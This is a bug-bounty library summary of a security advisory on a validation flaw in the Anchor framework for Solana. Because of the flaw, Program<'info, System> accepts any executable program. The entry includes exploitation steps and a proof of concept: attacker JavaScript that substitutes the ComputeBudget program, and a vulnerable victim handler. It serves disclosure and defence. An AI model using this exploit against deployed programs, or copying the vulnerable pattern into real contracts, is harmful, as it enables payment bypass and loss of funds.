# Anchor: Program<'info, System> is not properly validated

Anchor's Program<'info, System> check compared T's id to Pubkey::default(), so any executable program passed validation, letting attackers substitute a different program for system-program CPIs.

- Payout: Research
- Severity: high
- Program: Anchor
- Found by: Matthias1590
- Disclosed: 2026-05-13
- CVE: CVE-2026-45137
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c6rc-8jpp-2fgc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c6rc-8jpp-2fgc
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:research platform:ghsa sev:high tech:rust tech:solana technique:source-review vuln:access-control vuln:business-logic

**Target:** Anchor framework account validation (Program<'info, T> TryFrom impl) in on-chain Solana programs
**Root cause:** TryFrom<&AccountInfo> for Program<'a,T> compares T::id() against Pubkey::default() to decide whether to allow any executable account; since T=() also returns Pubkey::default(), Program<System> (whose id is Pubkey::default()) is treated identically to the untyped case and accepts any executable account.
**Steps:**
1. Deploy an Anchor program with an accounts struct field `pub system_program: Program<'info, System>` and a handler that builds a transfer instruction with `program_id: ctx.accounts.system_program.key()` and calls `invoke`.
2. Attacker calls the instruction passing `systemProgram: ComputeBudget111111111111111111111111111111` instead of the system program id.
3. Anchor's validation accepts the compute budget program because its id != Pubkey::default() check is bypassed for T=System.
4. The victim's `invoke` targets the attacker-supplied program; the transfer instruction is never executed by the system program, so no lamports move while the victim believes the transfer succeeded.
**How found:** Code review of the TryFrom<&AccountInfo> impl for Program<'a,T>: noticed the id comparison against Pubkey::default() and realized T=() (the default) and T=System share the same id, collapsing the 'any executable' and 'specific program' branches.
**Exploitation:** Attacker supplies an arbitrary executable program (e.g. ComputeBudget111111111111111111111111111111) in the `system_program` account slot of a victim instruction. The victim program's CPI is dispatched to that program instead of the system program, silently skipping the intended transfer (payment bypass) or, with a malicious program, enabling arbitrary CPI and creating accounts owned by an attacker-controlled program.
**Escalation:** Beyond payment bypass, arbitrary CPI lets the attacker route system-program-intended calls to a malicious program, potentially creating accounts owned by an attacker program that downstream logic assumes are system-owned.
**Insight:** When a type-level marker is used to enforce a specific program id, check whether the marker's id can equal the sentinel used for 'untyped/any' — Solana's System program id is Pubkey::default(), so any default-comparison guard silently disables the check for System.

## Proof of concept (copied exactly from the original report)

**Attacker JS passes ComputeBudget program as system_program**

```
const tx = await program.methods
    .initialize(new BN(1e9 / 2))
    .accounts({
        sender: keypair.publicKey,
        recipient: receiver.publicKey,
        // we pass the compute budget program instead of the system program
        // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.
        // if we comment this out, anchor will pass in the system program and the transfer will succeed
        systemProgram: new PublicKey("ComputeBudget111111111111111111111111111111"),
    })
    .rpc();
```

**Victim Anchor program invoking passed-in system_program**

```
pub struct Initialize<'info> {
    #[account(mut)]
    pub sender: Signer<'info>,
    #[account(mut)]
    pub recipient: SystemAccount<'info>,
    // the "System" part here should ensure that callers can only pass the system program.
    pub system_program: Program<'info, System>,
}

pub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> {
    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.
    msg!("System program: {:?}", ctx.accounts.system_program.key());

    // construct a transfer instruction
    // note that not only raw instructions, but also any other instruction
    // builders that properly forward the passed in program id are vulnerable.
    let mut data = Vec::new();
    data.extend_from_slice(&[2, 0, 0, 0]);  // transfer discriminator
    data.extend_from_slice(&amount.to_le_bytes());  // amount

    let accounts = vec![
        AccountMeta::new(ctx.accounts.sender.key(), true),
        AccountMeta::new(ctx.accounts.recipient.key(), false),
    ];

    let ix = Instruction {
        program_id: ctx.accounts.system_program.key(),
        accounts,
        data,
    };

    let account_infos = [
        ctx.accounts.sender.to_account_info(),
        ctx.accounts.recipient.to_account_info(),
        ctx.accounts.system_program.to_account_info(),
    ];

    // invoke the transfer instruction
    invoke(&ix, &account_infos)?;

    Ok(())
```

